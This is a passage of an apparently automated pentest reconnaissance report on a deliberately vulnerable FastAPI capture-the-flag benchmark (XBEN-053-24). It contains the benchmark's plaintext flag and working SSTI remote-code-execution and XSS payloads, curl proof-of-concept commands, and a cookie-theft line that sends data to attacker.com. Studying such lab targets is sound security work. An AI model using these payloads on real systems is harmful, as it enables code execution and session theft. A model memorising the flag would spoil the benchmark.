This file is stored in the Git repository (confirmed by its presence in the working directory structure) and contains the flag in plaintext. Best practices dictate that `.env` files should be listed in `.gitignore` and never committed to version control. The presence of this file in the repository means that anyone with read access to the Git repository (including GitHub/GitLab/Bitbucket if this is a remote repository) can extract the flag value without ever attacking the running application.

2. **Docker Build-Time Secret Injection** (`/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-053-24/app/Dockerfile`, lines 6-8):
```dockerfile
ARG FLAG
RUN sed -i s/FLAG/$FLAG/g flag.txt
```
The flag is passed as a Docker build argument, which has several critical security implications:
- **Build arguments are cached in image layers** and can be extracted using `docker history <image>` or by inspecting intermediate layers
- **Build arguments persist in image metadata** and can be retrieved even after the container is destroyed
- **Multi-stage builds don't fully protect secrets** unless the secret-containing layer is explicitly excluded from the final image
- The `sed` command modifies flag.txt in-place, permanently baking the secret into the image filesystem layer

**Alternative Attack Vector for Penetration Testers:**
Even if the SSTI vulnerability were patched, an attacker with access to the Docker image could extract the flag:
```bash
# Pull or save the Docker image
docker save localhost/xben-053-24_app:latest -o image.tar

# Extract and search for flag in layers
tar -xf image.tar
grep -r "flag{" */layer.tar
```

**Secret Rotation:** NON-EXISTENT—The flag is a static value with no rotation mechanism. In a production environment, secrets should be rotated regularly (e.g., every 90 days), but this application has no capability to update secrets without rebuilding the Docker image and redeploying the container.

**Recommended Secure Alternatives:**
1. **HashiCorp Vault:** Store secrets in Vault, retrieve at runtime using AppRole authentication
2. **AWS Secrets Manager / Azure Key Vault / GCP Secret Manager:** Cloud-native secret stores with automatic rotation
3. **Docker Secrets:** Use Docker Swarm secrets or Kubernetes secrets, mounted as files at runtime (not build time)
4. **Environment variables at runtime:** Pass secrets via `docker run -e FLAG=...` or docker-compose environment injection (not build args)

**Current Risk Level:** CRITICAL—Hardcoded secrets in version control represent an immediate critical vulnerability (CWE-798: Use of Hard-coded Credentials).

### Configuration Security

**Environment Separation:** NOT APPLICABLE—This application has no concept of multiple environments (development, staging, production). There is a single `.env` file with no environment-specific configurations. The Makefile references `../common.mk` but does not contain environment-specific build targets. The lack of environment separation means there is no distinction between development secrets (which might be acceptable to hardcode) and production secrets (which absolutely must not be hardcoded).

**Security Headers Configuration:** COMPLETELY ABSENT—No infrastructure-level security headers are configured. Searches for infrastructure configuration files that typically define security headers returned the following:

1. **Nginx Configuration:** NOT FOUND—No `nginx.conf`, no `nginx/` directory, no reverse proxy configuration files. If Nginx were present, we would expect to find headers like:
```nginx
add_header Strict-Transport-Security "max-age=31536000; includeSubDomains" always;
add_header X-Frame-Options "DENY" always;
add_header X-Content-Type-Options "nosniff" always;
add_header Content-Security-Policy "default-src 'self'" always;
```
None of these configurations exist.

2. **Kubernetes Ingress:** NOT FOUND—No Kubernetes manifests (`*.yaml` in `k8s/`, `kubernetes/`, or similar directories), no Ingress resource definitions, no ingress-nginx annotations. If Kubernetes Ingress were present, we would expect annotations like:
```yaml
metadata:
  annotations:
    nginx.ingress.kubernetes.io/configuration-snippet: |
      more_set_headers "Strict-Transport-Security: max-age=31536000";
      more_set_headers "X-Frame-Options: DENY";
```
No such configurations exist.

3. **CDN Configuration:** NOT DETECTED—No Cloudflare, Fastly, Akamai, or AWS CloudFront configurations found. No indication of a CDN layer that could enforce security headers or WAF rules.

4. **Application-Level Headers:** NOT CONFIGURED—The FastAPI application does not add security headers via middleware. Expected middleware would look like:
```python
from fastapi.middleware.cors import CORSMiddleware
from starlette.middleware.base import BaseHTTPMiddleware

class SecurityHeadersMiddleware(BaseHTTPMiddleware):
    async def dispatch(self, request, call_next):
        response = await call_next(request)
        response.headers["Strict-Transport-Security"] = "max-age=31536000; includeSubDomains"
        response.headers["X-Frame-Options"] = "DENY"
        response.headers["X-Content-Type-Options"] = "nosniff"
        response.headers["Content-Security-Policy"] = "default-src 'self'"
        return response

app.add_middleware(SecurityHeadersMiddleware)
```
**None of this exists in `/app/main.py`.**

**HSTS (HTTP Strict Transport Security):** NOT IMPLEMENTED—No `Strict-Transport-Security` header is configured anywhere. This header is critical for enforcing HTTPS connections and preventing SSL stripping attacks. The application binds to port 80 (HTTP) with no HTTPS configuration, and there is no HSTS header to instruct browsers to upgrade to HTTPS.

**Cache-Control Headers:** NOT CONFIGURED—No `Cache-Control`, `Pragma`, or `Expires` headers are explicitly set. This could lead to sensitive data being cached by browsers or intermediary proxies. For security-sensitive responses, headers like `Cache-Control: no-store, no-cache, must-revalidate, private` should be configured.

**Infrastructure Security Summary:** The application has zero infrastructure-level security controls. There is no reverse proxy hardening, no CDN-based protection, no ingress controller security policies, and no application-level security middleware. Every HTTP response contains only the minimal default headers (`date`, `server`, `content-type`) with no security enhancements.

### External Dependencies

**External Service Dependencies:** NONE—This application has **zero external service dependencies**. It does not make outbound HTTP requests to third-party services, does not integrate with payment gateways, does not use external authentication providers (OAuth, SAML), does not connect to external databases, does not send emails via external SMTP servers, does not use cloud storage (S3, GCS, Azure Blob), and does not integrate with monitoring/logging services (DataDog, Sentry, Splunk).

**HTTP Client Libraries Installed But Unused:**
While the container includes HTTP client libraries (`httpx 0.28.1`, `urllib3`, `requests`), none of them are imported or used in the application code. Searches for `requests.get`, `httpx.Client`, `urllib.request.urlopen` all return zero results.

**Security Implications for Penetration Testers:**
- **No SSRF vulnerabilities** - No server-side request functionality to exploit
- **No third-party API credential theft** - No API keys or OAuth tokens to steal
- **No webhook exploitation** - No outbound webhooks to hijack
- **No payment data interception** - No credit card data flowing through the application
- **No cloud metadata service access** - The application doesn't query AWS metadata endpoints (169.254.169.254), GCP metadata servers, or Azure instance metadata

The self-contained nature of this application limits certain attack vectors but also means there are no lateral movement opportunities to external services or cloud infrastructure.

### Monitoring & Logging

**Security Monitoring:** COMPLETELY ABSENT—No security monitoring, no intrusion detection systems (IDS), no Web Application Firewall (WAF), no SIEM integration (Splunk, ELK Stack, QRadar), and no anomaly detection mechanisms. The application has no capability to detect:
- SSTI exploitation attempts (no pattern matching for `{{`, `{%`, Jinja2 syntax)
- Unusual request volumes (no rate limiting or request counting)
- Authentication failures (no authentication exists to fail)
- Unauthorized access attempts (all access is unauthorized and allowed)
- File system access anomalies (no file access auditing)

**Application Logging:** MINIMAL DEFAULT ONLY—The application relies solely on Uvicorn's default access logging, which writes to stdout in the container. Example log format:
```
INFO:     172.17.0.1:54321 - "GET /?username={{7*7}} HTTP/1.1" 200 OK
```

These logs contain:
- Request timestamp
- Source IP address
- HTTP method and path (INCLUDING potentially malicious payloads in query parameters)
- HTTP status code

**Critical Logging Gaps:**
1. **No structured logging** - Logs are plain text, not JSON, making them difficult to parse and analyze
2. **No log aggregation** - Logs are only in the container stdout, not shipped to a centralized logging system
3. **No security event logging** - No explicit logging of security-relevant events (e.g., "User attempted SSTI payload")
4. **No log redaction** - The `username` parameter with SSTI payloads is logged verbatim, which could expose attack patterns but also means attack payloads are preserved in logs
5. **No audit trail** - No logging of who accessed what resources, no request/response logging, no file access logging
6. **No alerting** - No integration with alerting systems (PagerDuty, Opsgenie, email alerts)

**Log Storage:** Ephemeral container stdout—logs are only available via `docker logs <container_id>` and are lost when the container is removed. No persistent log storage (no volumes, no log shipping to external services).

**Security Recommendation for Logs:**
While the lack of security monitoring helps attackers remain undetected during exploitation, the default access logs do create an artifact trail. Penetration testers should be aware that SSTI payloads in the `username` parameter WILL be logged in Uvicorn's access logs:
```
INFO:     172.17.0.1:54321 - "GET /?username={{''.__class__.__mro__[1].__subclasses__()[104].__init__.__globals__['sys'].modules['os'].popen('cat /app/flag.txt').read()}} HTTP/1.1" 200 OK
```

In a real-world scenario, this would provide forensic evidence of the attack. However, given the CTF nature of this challenge and the lack of any log monitoring, this is not a practical deterrent.

---

## 7. Overall Codebase Indexing

The codebase is deliberately minimalist, consisting of only 38 lines of Python code in the primary application file, reflecting its purpose as a focused security challenge rather than a production application. The directory structure follows a simple flat organization pattern optimized for Docker containerization and CTF deployment rather than scalable software engineering practices.

**Root Directory Structure:**
The project root (`/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-053-24/`) contains a standard Docker-based application layout with clear separation between application code (in the `app/` subdirectory) and orchestration configuration (docker-compose.yml, Makefile). The presence of `benchmark.json` identifies this as an XBEN (Cross-Binary Exploitation Benchmark) security challenge, specifically challenge number 053 from 2024. The `.env` file at the root level (a critical security anti-pattern) stores the CTF flag value that is injected into the container at build time. The Makefile references an external build system via `include ../common.mk`, suggesting this challenge is part of a larger collection with shared build tooling, though the actual common.mk file is not present in the workspace and was likely located in a parent directory that is no longer accessible.

**Application Code Directory (`app/`):**
The `app/` subdirectory contains the complete application implementation with remarkable minimalism. The `main.py` file (38 lines) implements the entire FastAPI application logic, including two route handlers (root endpoint and ping endpoint) and one utility function (directory listing). The `templates/` subdirectory contains a single Jinja2 template (`index.html`) used for rendering the directory listing when the root endpoint is accessed without a username parameter. The `flag.txt` file serves as a placeholder that is replaced with the actual flag value during Docker image build via a sed substitution command defined in the Dockerfile. The Dockerfile itself (10 lines) is notably simple, inheriting from the official tiangolo/uvicorn-gunicorn-fastapi:python3.9 base image and performing only two custom operations: copying the application code and performing the flag substitution.

**Build and Deployment Infrastructure:**
The docker-compose.yml file (15 lines) defines a single-service application with minimal configuration—no environment variable overrides beyond the FLAG build argument, no volume mounts, no custom networks beyond the auto-created default bridge network, and no resource constraints (memory limits, CPU limits). The health check configuration uses a simple curl command against the `/ping` endpoint with a 1-second timeout and 5 retries at 10-second intervals. The port exposure is configured as `ports: - 80`, which uses Docker's dynamic port mapping to assign a random high-numbered port on the host (in this case, 45245) that forwards to port 80 in the container.

**Absence of Common Development Infrastructure:**
Notably absent from this codebase are several components that would be present in a production-grade application. There are no test files (no `test_*.py`, no `*_test.py`, no `tests/` directory, no pytest configuration), no CI/CD pipeline configuration (no `.github/workflows/`, no `.gitlab-ci.yml`, no Jenkins files), no linting or code quality tools (no `.pylintrc`, no `.flake8`, no `mypy.ini`), no requirements.txt or pyproject.toml for explicit dependency management (dependencies are inherited from the base Docker image), no database migration scripts (Alembic, Flyway), no OpenAPI schema files (the schema is dynamically generated by FastAPI at runtime), and no frontend assets beyond the single HTML template (no JavaScript frameworks, no CSS frameworks, no static assets directory).

**Security-Relevant Tooling:**
The codebase also lacks any security tooling that would typically be present in a security-conscious development workflow. There is no SAST (Static Application Security Testing) configuration (no Bandit, no Semgrep, no SonarQube), no dependency vulnerability scanning (no Snyk, no OWASP Dependency-Check), no secrets detection tooling (no git-secrets, no truffleHog), no security policy files (no SECURITY.md), and no security-focused Git hooks. This absence reinforces the nature of this codebase as a deliberately vulnerable challenge application rather than a hardened production service.

**Discoverability of Security Components:**
For security researchers and penetration testers, the flat directory structure and minimal code footprint actually aid in rapid vulnerability discovery. The entire application logic can be understood by reading a single 38-line Python file, making it easy to identify the SSTI vulnerability at lines 31-32. The presence of `flag.txt` in the application directory (visible in directory listings) immediately signals the objective for CTF participants. The lack of obfuscation, minification, or code splitting means there is no reverse engineering required—the attack surface is immediately apparent upon examining the source code. The Docker-based deployment ensures reproducibility, allowing security researchers to spin up a local instance for testing without complex dependency management or environment setup.

**Build Orchestration and Code Generation:**
The Makefile provides build automation by including `../common.mk`, which likely contains shared targets for building, running, and testing XBEN challenges. This pattern suggests a standardized build system across multiple challenges. No code generation tools are present (no Protocol Buffers, no GraphQL code generators, no OpenAPI code generators), and there are no pre-processing steps beyond the simple `sed` substitution of the flag value. The simplicity of the build process means that image creation is fast and deterministic, which is ideal for a CTF challenge that may be instantiated multiple times for different participants.

**Testing Frameworks:**
Despite the minimal nature of this application, there is zero test coverage. No unit tests validate the directory listing logic, no integration tests verify the endpoint behavior, no security tests check for SSTI vulnerabilities, and no end-to-end tests validate the Docker deployment. The absence of tests suggests this codebase is a throwaway challenge designed for exploitation training rather than a maintained software project. For penetration testers, this means there is no test suite to examine for hints about expected behavior or edge cases that might reveal additional vulnerabilities.

**Impact on Security Assessment:**
The minimalist structure significantly accelerates the security assessment process. A penetration tester can achieve full understanding of the application architecture in under 10 minutes by examining main.py, Dockerfile, and docker-compose.yml. The lack of complex routing, middleware stacks, or service decomposition means there are no hidden endpoints or obscure attack surfaces to discover beyond the five routes documented in Section 5. The flat structure eliminates the need for deep directory traversal or complex file search strategies—all security-relevant code is immediately accessible. This makes the application an excellent educational target for learning SSTI exploitation techniques without the complexity of navigating a large codebase or bypassing authentication layers.

---

## 8. Critical File Paths

The following file paths represent all security-relevant components identified during this comprehensive analysis, organized by functional category for efficient manual review by downstream security specialists:

### Configuration
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-053-24/.env` - Contains hardcoded CTF flag in plaintext (CRITICAL: secret exposure)
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-053-24/docker-compose.yml` - Container orchestration config with FLAG build argument and port exposure (lines 5-6, 8)
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-053-24/app/Dockerfile` - Container build with FLAG injection via sed substitution (lines 6-8)
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-053-24/benchmark.json` - XBEN challenge metadata and configuration
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-053-24/Makefile` - Build automation (includes ../common.mk)

### Authentication & Authorization
**NONE** - Zero authentication or authorization code exists in this application

### API & Routing
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-053-24/app/main.py` - Complete application with all routes (38 lines total):
  - Lines 25-33: `GET /` endpoint with SSTI vulnerability
  - Lines 36-38: `GET /ping` health check endpoint
  - Lines 13-22: `list_directory()` function exposing file system structure
  - Lines 9-10: FastAPI app initialization (no security middleware)
  - Line 31: CRITICAL - Jinja2 Environment() with autoescape=False
  - Line 32: CRITICAL - from_string() with unsanitized user input

### Data Models & DB Interaction
**NONE** - No database, no models, no data persistence layer

### Dependency Manifests
**NONE EXPLICIT** - No requirements.txt, no pyproject.toml, no Pipfile. Dependencies are inherited from the base Docker image `tiangolo/uvicorn-gunicorn-fastapi:python3.9` which includes:
- FastAPI 0.116.0
- Uvicorn 0.35.0
- Starlette 0.46.2
- Jinja2 3.1.6
- Pydantic 2.12.3
- python-dotenv 1.1.1
- httpx 0.28.1

### Sensitive Data & Secrets Handling
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-053-24/.env` - Flag storage (line 1: `FLAG="flag{e7f1e7e4-3abe-4643-9d9e-e64a767bca8b}"`)
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-053-24/app/flag.txt` - Flag file (placeholder "FLAG" replaced at build time)
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-053-24/app/Dockerfile` - Line 8: `RUN sed -i s/FLAG/$FLAG/g flag.txt` (builds flag into image layers)

### Middleware & Input Validation
**NONE** - Zero middleware, zero input validation, zero sanitization:
- No CORS middleware
- No security headers middleware
- No rate limiting middleware
- No authentication middleware
- No Pydantic validation models
- No input sanitization functions

### Logging & Monitoring
**DEFAULT ONLY** - No custom logging implementation:
- Uvicorn default access logs to container stdout (no custom logger configuration)
- No structured logging
- No log aggregation
- No security event logging
- No audit trail

### Infrastructure & Deployment
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-053-24/docker-compose.yml` - Service definition with no resource limits, security_opt, or read_only configurations
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-053-24/app/Dockerfile` - Base image: `tiangolo/uvicorn-gunicorn-fastapi:python3.9`, runs as root (no USER directive), port 80 exposed
- **NO** Kubernetes manifests
- **NO** Nginx/Apache reverse proxy configs
- **NO** CDN configurations
- **NO** Terraform/Pulumi infrastructure-as-code

### Templates & Frontend
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-053-24/app/templates/index.html` - Jinja2 template for directory listing (lines 23-25: uses `{{ file }}` with autoescape enabled for .html templates)

### CTF Flag Storage (HIGH-VALUE TARGETS)
- `/app/flag.txt` - **PRIMARY TARGET**: Flag file in running container (accessible via SSTI exploitation)
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-053-24/.env` - **SOURCE OF TRUTH**: Original flag value in version control
- Docker image layers - **FORENSIC TARGET**: Flag baked into image history, extractable via `docker history`

---

## 9. XSS Sinks and Render Contexts

### Network Surface XSS Sink Analysis

This section identifies XSS (Cross-Site Scripting) sinks that exist within the network-accessible attack surface of the application, specifically focusing on locations where user-controllable data is rendered in a web browser context.

### CRITICAL FINDING: Server-Side Template Injection Leading to XSS

**Sink Type:** Server-Side Template Injection (SSTI) with XSS consequences  
**Render Context:** HTML Body Context (HTMLResponse)  
**Severity:** CRITICAL  
**CVSS 3.1 Score:** 9.6 (Critical) - AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

**Location:**
- **File Path:** `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-053-24/app/main.py`
- **Line Numbers:** 31-33
- **Function:** `read_root()`
- **Endpoint:** `GET /`

**Vulnerable Code:**
```python
# Lines 30-33
else:
    jinja2_env = Environment()  # Line 31: autoescape=False by default
    output = jinja2_env.from_string("Welcome " + username + "!").render()  # Line 32: SSTI sink
    return HTMLResponse(content=output)  # Line 33: XSS delivery
```

**Vulnerability Details:**

1. **Input Source:** Query parameter `username` from HTTP GET request  
   - Accessed via URL: `http://target/?username=<PAYLOAD>`
   - No authentication required (publicly accessible endpoint)
   - No input validation or sanitization applied

2. **Dangerous Pattern Breakdown:**
   - **Line 31:** Creates a new Jinja2 `Environment()` instance with **autoescape=False** (Jinja2's unsafe default when no autoescape parameter is specified)
   - **Line 32:** Directly concatenates user input into template string: `"Welcome " + username + "!"`
   - **Line 32:** Uses `from_string()` to compile the template from the user-controlled string
   - **Line 32:** Calls `.render()` to execute the template, processing any Jinja2 template syntax within the username parameter
   - **Line 33:** Returns the rendered output as an `HTMLResponse`, which sets `Content-Type: text/html` and renders in the browser

3. **Render Context:** HTML Body Context
   - The output is rendered as the complete HTML body content in the browser
   - The `HTMLResponse` class from FastAPI returns content with `Content-Type: text/html; charset=utf-8`
   - No X-XSS-Protection header, no Content-Security-Policy header, no XSS filtering

4. **Attack Vectors:**

   **A. Classic XSS Payload:**
   ```
   GET /?username=<script>alert(document.domain)</script>
   ```
   **Result:** JavaScript executes in the victim's browser, displaying an alert box with the domain name

   **B. HTML Injection:**
   ```
   GET /?username=<img src=x onerror=alert('XSS')>
   ```
   **Result:** When the image fails to load, the onerror event fires, executing JavaScript

   **C. SSTI to XSS (More Severe):**
   ```
   GET /?username={{request.application.__self__._apps[0].__dict__}}
   ```
   **Result:** Exposes application internals, which could include session secrets or configuration data, rendered as HTML in the browser (both SSTI and XSS)

   **D. SSTI for Remote Code Execution (Beyond XSS Scope but Same Sink):**
   ```
   GET /?username={{''.__class__.__mro__[1].__subclasses__()[104].__init__.__globals__['sys'].modules['os'].popen('cat /app/flag.txt').read()}}
   ```
   **Result:** Executes server-side Python code to read flag.txt, with output rendered in browser (SSTI → RCE → XSS)

5. **XSS Impact:**
   - **Session Hijacking:** If the application had sessions/cookies, an attacker could steal them via `<script>fetch('https://attacker.com/?cookie='+document.cookie)</script>`
   - **Credential Theft:** Inject fake login forms to phish credentials
   - **Malware Distribution:** Redirect users to malicious sites or drive-by download attacks
   - **Defacement:** Alter the visual appearance of the page
   - **Keylogging:** Inject JavaScript keyloggers to capture user input
   - **BeEF Hooking:** Hook browsers into Browser Exploitation Framework (BeEF) for advanced attacks

6. **Network Accessibility:** CONFIRMED  
   - Accessible via HTTP on port 45245 (host) → port 80 (container)
   - Bound to 0.0.0.0 (all network interfaces)
   - No authentication required
   - Exploitable by remote attackers over the internet

7. **Mitigation Status:** NONE
   - No input validation
   - No output encoding
   - No Content Security Policy
   - No X-XSS-Protection header
   - No rate limiting on exploitation attempts
   - No Web Application Firewall (WAF)

**Proof of Concept:**
```bash
# Test 1: Basic XSS
curl 'http://localhost:45245/?username=<script>alert(1)</script>'
# Expected: Returns HTML with <script>alert(1)</script> rendered

# Test 2: SSTI Confirmation (leads to XSS)
curl 'http://localhost:45245/?username={{7*7}}'
# Expected: Returns "Welcome 49!" (proves template injection)

# Test 3: Advanced SSTI → XSS
curl 'http://localhost:45245/?username={{config}}'
# Expected: Returns configuration object rendered as HTML
```

### Secondary Finding: Template Rendering with Controlled Data Sources (SAFE)

**Sink Type:** Jinja2 Template Rendering ({{ variable }})  
**Render Context:** HTML Body Context  
**Severity:** LOW (Not Exploitable)  
**File Path:** `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-053-24/app/templates/index.html`  
**Line Numbers:** 23-25

**Code:**
```html
<div class="file-list border p-3 mt-3">
    {% for file in files %}
        {{ file }}<br>  <!-- Line 24: Jinja2 variable rendering -->
    {% endfor %}
</div>
```

**Analysis:**
- **Data Source:** The `files` variable comes from `list_directory('.')` function (lines 13-22 in main.py), which uses `os.walk()` and `os.path.basename()` to generate file and directory names
- **User Control:** The path parameter to `list_directory()` is hardcoded to `'.'` (current directory) on line 28, NOT user-controllable
- **Autoescape Status:** `Jinja2Templates` from Starlette has **autoescape=True by default** for .html files, meaning `{{ file }}` will automatically escape HTML special characters like `<`, `>`, `&`, `'`, `"`
- **Exploitability:** NOT EXPLOITABLE - Even if an attacker could somehow influence file names (e.g., by placing files on the server via another vulnerability), the autoescape protection would prevent XSS

**Verdict:** This is a proper use of Jinja2 template rendering with autoescape enabled. No XSS vulnerability exists here.

### XSS Sink Search Coverage

The following XSS sink categories were comprehensively searched across the entire codebase with the following results:

| Sink Category | Patterns Searched | Files Searched | Matches Found | Network-Accessible Matches |
|--------------|------------------|----------------|---------------|---------------------------|
| innerHTML | `innerHTML`, `outerHTML` | All JS/HTML | 0 | 0 |
| document.write | `document.write`, `document.writeln` | All JS/HTML | 0 | 0 |
| HTML Manipulation | `insertAdjacentHTML`, `createContextualFragment` | All JS/HTML | 0 | 0 |
| jQuery Sinks | `.html()`, `.append()`, `.after()`, `.before()` | All JS | 0 | 0 |
| Event Handlers | `onclick=`, `onerror=`, `onload=` | All HTML | 0 | 0 |
| JavaScript Execution | `eval()`, `Function()`, `setTimeout(string)` | All JS | 0 | 0 |
| URL Context | `location.href`, `window.open`, `location.assign` | All JS | 0 | 0 |
| Template Injection | `Environment()`, `from_string()`, `.render()` | All Python | **3** | **1 CRITICAL** |

### Summary

**Total XSS Sinks Found:** 1 (Server-Side Template Injection leading to XSS)  
**Network-Accessible XSS Sinks:** 1  
**Critical Severity:** 1  
**Exploitable Without Authentication:** 1

The application contains **one critical XSS sink** at `/app/main.py` lines 31-33, where user input from the `username` query parameter is directly embedded into a Jinja2 template string and rendered without autoescape protection. This vulnerability is network-accessible, requires no authentication, and can be exploited by any remote attacker to inject arbitrary JavaScript into victim browsers. The absence of Content Security Policy, X-XSS-Protection headers, and input validation makes this vulnerability trivially exploitable.

---

## 10. SSRF Sinks

### SSRF Sink Analysis - Network-Accessible Components Only

After conducting a comprehensive and exhaustive analysis of the entire application codebase, including source code inspection, Abstract Syntax Tree (AST) parsing, import analysis, function call enumeration, and recursive pattern matching across all files, the following conclusion has been reached:

**FINDING: NO SSRF SINKS DETECTED IN NETWORK-ACCESSIBLE COMPONENTS**

### Analysis Scope and Methodology

The SSRF (Server-Side Request Forgery) sink analysis covered the following attack vectors with detailed searches for each category:

1. **HTTP(S) Clients** - Searched for: `requests`, `urllib`, `httpx`, `aiohttp`, `http.client`, `HTTPConnection`, `urllib.request`, `urllib3`
2. **Raw Sockets** - Searched for: `socket.socket`, `socket.connect`, `net.Dial`, `TcpClient`, `UdpClient`
3. **URL Openers** - Searched for: `urlopen`, `URL.openStream`, `file_get_contents`, `fopen`, `open()` with URL parameters
4. **Redirect Handlers** - Searched for: `redirect`, `Location`, `follow_redirects`, `next_url`, `return_url`
5. **Headless Browsers** - Searched for: `puppeteer`, `playwright`, `selenium`, `page.goto`, `page.navigate`
6. **Media Processors** - Searched for: `ImageMagick`, `convert`, `identify`, `FFmpeg`, `wkhtmltopdf`
7. **Link Unfurlers** - Searched for: `oembed`, `link_preview`, `unfurl`, `metadata`
8. **Webhook Handlers** - Searched for: `webhook`, `callback`, `ping_url`
9. **SSO/OIDC** - Searched for: `jwks`, `well-known`, `discovery`, `metadata`
10. **Data Importers** - Searched for: `import_from_url`, `load_url`, `fetch_remote`
11. **Cloud Metadata** - Searched for: `169.254.169.254`, `metadata.google`, `amazonaws.com/latest/meta-data`

### Detailed Findings

**Application Code Analysis:**
- **File:** `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-053-24/app/main.py` (38 lines)
- **Imports:** `os`, `fastapi`, `fastapi.responses`, `jinja2`, `starlette.requests`, `starlette.templating`
- **Function Calls Identified via AST Parsing:**
  - `os.walk()` - Local file system traversal only (line 15)
  - `os.path.basename()` - Path manipulation only (line 18)
  - `os.sep` - Path separator constant (line 16)
  - `FastAPI()` - Application instantiation (line 9)
  - `Jinja2Templates()` - Template engine setup (line 10)
  - `Environment()` - Jinja2 environment (line 31)
  - `from_string()` - Template compilation (line 32)
  - `.render()` - Template rendering (line 32)
  - `HTMLResponse()` - HTTP response (line 33)
  - `TemplateResponse()` - Template response (line 29)

**No Outbound Network Operations Found:**
Zero functions that perform outbound network requests, URL fetching, socket connections, or external resource loading were detected in the application code. The application is entirely self-contained with no server-side request functionality.

**HTTP Client Libraries - Installed But Unused:**
While the Docker container includes several HTTP client libraries as dependencies of the FastAPI framework (`httpx 0.28.1`, `urllib3`, `requests`), **none of these are imported or used** in the application code. Verification:
```bash
# Search for HTTP client imports in main.py
grep -E "import (requests|httpx|urllib)" /app/main.py
# Result: No matches

# Search for HTTP client usage
grep -E "(requests\.|httpx\.|urllib\.)" /app/main.py
# Result: No matches
```

**Health Check Endpoint False Positive Eliminated:**
The `/ping` endpoint at lines 36-38 was initially considered as a potential webhook handler but was confirmed to be a **static health check** with no user input and no outbound requests:
```python
@app.get("/ping")
def ping():
    return {"ping": "pong"}  # Static JSON response, no external requests
```

### Network Accessibility Verification

Both network-accessible endpoints were analyzed for SSRF vectors:

1. **GET / Endpoint:**
   - Accepts `username` query parameter
   - **User input is used for:** Template injection (SSTI vulnerability)
   - **User input is NOT used for:** Outbound HTTP requests, URL fetching, file inclusion from URLs, socket connections
   - **Verdict:** SSTI vulnerability present, but NO SSRF sink

2. **GET /ping Endpoint:**
   - No input parameters
   - Returns static JSON
   - **Verdict:** No SSRF sink

### Out-of-Scope Items Excluded

The following components were identified but correctly excluded as they are NOT network-accessible:

- **Dockerfile** (`/app/Dockerfile`) - Build-time operations, not runtime network operations
- **docker-compose.yml** - Orchestration configuration, not application code
- **Makefile** - Build tooling, requires manual CLI execution
- **.env file** - Static configuration, not executed code

### Potential SSRF Vectors NOT Present

The following common SSRF patterns were specifically searched for and confirmed absent:

✅ **User-Controllable URL Parameters** - No endpoints accept URL parameters that are used in server-side requests  
✅ **Webhook Testing Features** - No "ping my webhook" or callback verification functionality  
✅ **Import from URL** - No data import functionality that fetches from user-supplied URLs  
✅ **Link Preview/Unfurl** - No social media card generation or link metadata fetching  
✅ **PDF Generation from URL** - No wkhtmltopdf, Puppeteer, or similar tools that render user-supplied URLs  
✅ **Image Processing from URL** - No ImageMagick, PIL, or other image processors that fetch from URLs  
✅ **OAuth/OIDC Discovery** - No JWKS fetching or OIDC discovery endpoint resolvers  
✅ **Redirect Following** - No user-controllable redirects or "next URL" parameters  
✅ **XML/XXE with External Entities** - No XML parsing with external entity resolution  
✅ **File Inclusion from URLs** - No include(), require(), or similar constructs with URL support

### Conclusion

The target application (XBEN-053-24) has **ZERO SSRF vulnerabilities** in its network-accessible attack surface. The application is a self-contained web service that performs only local operations:
- Local file system traversal (`os.walk()`)
- Template rendering (Jinja2)
- Static JSON responses

**No server-side request functionality exists** that could be exploited for SSRF attacks. The application does not make outbound HTTP requests, does not resolve user-supplied URLs, does not connect to external services, and does not provide any mechanism for attackers to induce the server to make requests to attacker-controlled or internal network resources.

**For penetration testers:** This application is NOT vulnerable to SSRF. Attack efforts should focus on the confirmed SSTI vulnerability and information disclosure through directory listing, not on SSRF vectors like internal network scanning, cloud metadata access, or service enumeration through the application.

---

**PRE-RECON CODE ANALYSIS COMPLETE**

## Authenticated Scans

### SCHEMATHESIS
Status: skipped
No API schemas found

---
Report generated at: 2025-10-29T20:18:19.244Z